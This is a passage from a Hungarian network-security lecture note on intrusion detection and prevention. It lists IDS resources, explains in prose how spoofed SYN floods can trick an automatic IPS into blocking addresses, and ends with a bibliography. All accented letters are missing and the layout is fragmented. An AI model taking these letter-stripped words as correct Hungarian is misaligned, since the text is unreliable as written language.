Deception ToolKit http://www.all.net/dtk/index.html Egy msik honeypot jelleg program, aminek a clja, hogy a tmadt megtvessze. Ez nmagban elg gyenge vdelemnek tnik. Vlemnyem szerint egy rendszergazdnak nem az a dolga, hogy a script kiddie-k jtsztrsa legyen!

DShield.org http://www.dshield.org/ A Distributed Intrusion Detection System egy szolgltats. A lelke egy adatbzis, ahova be lehet jelenteni a tmadsokat (pl. tzfal naplbl) s ennek alapjn sszelltanak egy llandan frisstett listt az ltaluk leginkbb

Behatols szlels, megelzs

145

kitiltandnak vlt IP cm tartomnyokrl. Ezen kvl rdekes statisztikkat kzlnek (pl. a leginkbb tmadott portokrl). Ezen kvl a FightBack szolgltatsuk keretben nagy szm dokumentlt slyos tmads esetn panaszt tesznek a notrius crackerek internetszolgltatjnl nyilvn van ahol sikerrel, msutt meg nem...

Intrusion Detection FAQ http://www.sans.org/resources/idfaq/ Ezen a weblapon rengeteg informci tallhat a behatols megelzs tmban.

http://csrc.nist.gov/publications/nistpubs/800-31/sp800-31.pdf Institute of Standards and Technology) publikci.

Intrusion Detection Systems cmmel 51 oldalas NIST (National

http://www.securityfocus.com/ids tmj cikkekkel.)

IDS

tmj

aloldal

Securityfocus weblapon. (A jegyzet rsakor tele volt Honeypot

http://www.cert.hu/eszkoz/1ingyen/ids.html A Hun-CERT ingyenes IDS ajnlata volt itt elrhet (linkekkel az NIDS/HIDS eszkzk honlapjra), most (2008. 04. 15.) csak a foldal jtt be r, a j link: http://www.cert.hu/eszkoz/1ingyen/index.php?option=com_content& task=view&id=40&Itemid=167

http://www.securityfocus.com/infocus/1514 Egy cikk az IDS-ek fejldsrl s nhny kereskedelmi IDS-rl.

146

Hlzatok biztonsga http://www.securitybooks.org/ Nyolc egyttmkd website egyik elrhetsge. Hlzatos s biztonsgi tmj (IDS is) knyveket ajnlanak.

http://dmoz.org/Computers/Security/Intrusion_Detection_Systems/ Az Open Directory Project IDS tmj link gyjtemnye.

9.3.

Behatols megelzs

A behatols megelz rendszerek (Intrusion Prevention System IPS) alapelve nagyon egyszer: ha az IDS felismeri a tmadst (tmadsi ksrletet) akkor a tovbbiakban ki kell tiltani a felttelezett tmadt, megakadlyozva ezzel a tmads befejezst vagy a krokozst. Az IPS teht egy megfelel IDS kiegsztse a vlaszlps kpessgvel. A gyakorlatban azrt a helyzet nem ennyire egyszer. Nzznk egy egyszer negatv pldt! Tegyk fel, hogy SYN flood-ot szleltnk. Ekkor az IPS bekapcsolja a SYN cookie-t. A tmad pedig csak erre vrt: a 3 utas kzfogs 3. lpsvel rnk knyszert egy TCP kapcsolatot. Javtsknt dntsnk gy, hogy SYN cookie helyett inkbb a tmad IP cmt kitiltjuk egy idre. Ebben az esetben a tmad kezbe kivl eszkzt adtunk a kvetkez DoS tmadsra: hamis IP cmmel SYN flood-ot indt ellennk, majd az IPS-nk a tmad legnagyobb rmre kitiltja az adott IP cmet. Ha a tmad megmrte (pl. a sajt IP cmt hasznlva), hogy milyen hossz SYN flood kell a kitiltshoz, akkor egy kis rhagyssal dolgozva elg gyorsan cserlgetheti az IP cmeket, gy kellen sok IP cmet kitiltathat,

Behatols szlels, megelzs

147

mire az elst az IPS-nk leveszi a tilt listrl. Ez a plda persze csak a feladat nem trivilis voltnak megvilgtst szolglta. Az automatikus behatols-megelzs az internetes biztonsgtechnika egyik legltvnyosabb s taln ppen ezrt egyik npszerbb zletga. Szp szmmal adnak el IPS rendszereket (pl. McAfee IntruShield). Az IPS rendszerek gyakran egy komplex integrlt rendszer rszeknt kerlnek teleptsre. Az integrlt rendszer tipikus elemei:

tzfal vrusvdelem spam szrs IDS/IPS

Informatikai biztonsgtechnikai cgek marketingjben az IDS helyett egyre inkbb az IPS szerepel. Vajon ez csak reklmfogs, vagy valban ekkora technolgiai elrelps trtnt? Egyltaln mire kpesek az IPS-ek? Mikor rdemes alkalmazni ket? Van egy j cikk Network Intrusion Prevention Systems When Theyre Valuable, and When Theyre Not cmmel: http://www.linuxsecurity.com/content/view/119888/49/ A cikk lnyege az, hogy az adott rendszertl fgg, hogy van-e ltjogosultsga az IPS-nek. Olyan esetben, amikor egy kellen nagy cgnl kellen sok Windowst futtat gp van, s nincs meg a megfelel emberi

148

Hlzatok biztonsga

erforrs ezek rendszeres biztonsgi karbantartsra, az IPS hasznos lehet. A behatols megelzsnek legjobb mdja termszetesen az, ha biztonsgos rendszert ptnk, rendszeresen figyelemmel ksrjk a biztonsgi rsek kzzttelt s azonnal felteleptjk a biztonsgi frisstseket. Mivel mi az utbbi mellett tettk le a voksunkat, ezrt a jl kivlasztott, gondosan teleptett s megfelelen karbantartott Linux vagy ms Unix rendszernk vdelmre nem javasoljuk IPS megvsrlst, hanem inkbb a rendszergazda/rendszergazdk biztonsgtechnikai ismeretei gyaraptsnak az sztnzst, s jutalmazst. Ezt azzal indokoljuk, hogy a tmadk emberek. Vannak persze kztk nagy szmban script kiddie-k, akik a jl ismert exploitokat hasznljk, aztn vannak kzpszer crackerek, akik a publiklt biztonsgi rsekhez rnak exploitokat, de vannak profik is, akik maguk keresnek biztonsgi rseket s nem publikljk, hanem kihasznljk ket. Az els kt csoport ellen ltalban mind a j rendszer, mind az IPS kell vdelmet nyjt, a harmadik csoport ellen azonban vlemnynk szerint csak a kell szakrtelem s gondossg veheti fel hatkonyan a kzdelmet.

Irodalomjegyzk

149

10. Irodalomjegyzk
1. Buttyn Levente, Vajda Istvn: Kriptogrfia s alkalmazsai, Typotex, Budapest, 2004. 2. Simson Garfinkel, Gene Spafford & Alan Schwartz: Practical Unix & Internet Security, Third Edition, O'Reilly, Sebastopol, CA, USA, 2003, 3. Vir V. Phoha: Internet Security Dictionary Springer, New York, NY, USA, 2002. 4. Virraszt Tams: Titkosts s adatrejts NetAcademia Kft., 2004.

A szvegben tallhat nagy mennyisg internetes hivatkozst nem ismteljk meg. A jegyzet hasznlhatsga szempontjbl hasznosabbnak tartottuk ket a szvegben elhelyezni.

Ksznetnyilvnts

151

11. Ksznetnyilvnts
A jegyzet ksztse sorn nagy mrtkben tmaszkodtam az albbi forrsokra:

Buttyn Levente, Vajda Istvn: Kriptogrfia s alkalmazsai Jns Zsolt anyagai Pnczl Zoltn anyagai

Irodalomjegyzk
Ezt az oldalt el kellene tntetni!

You might also like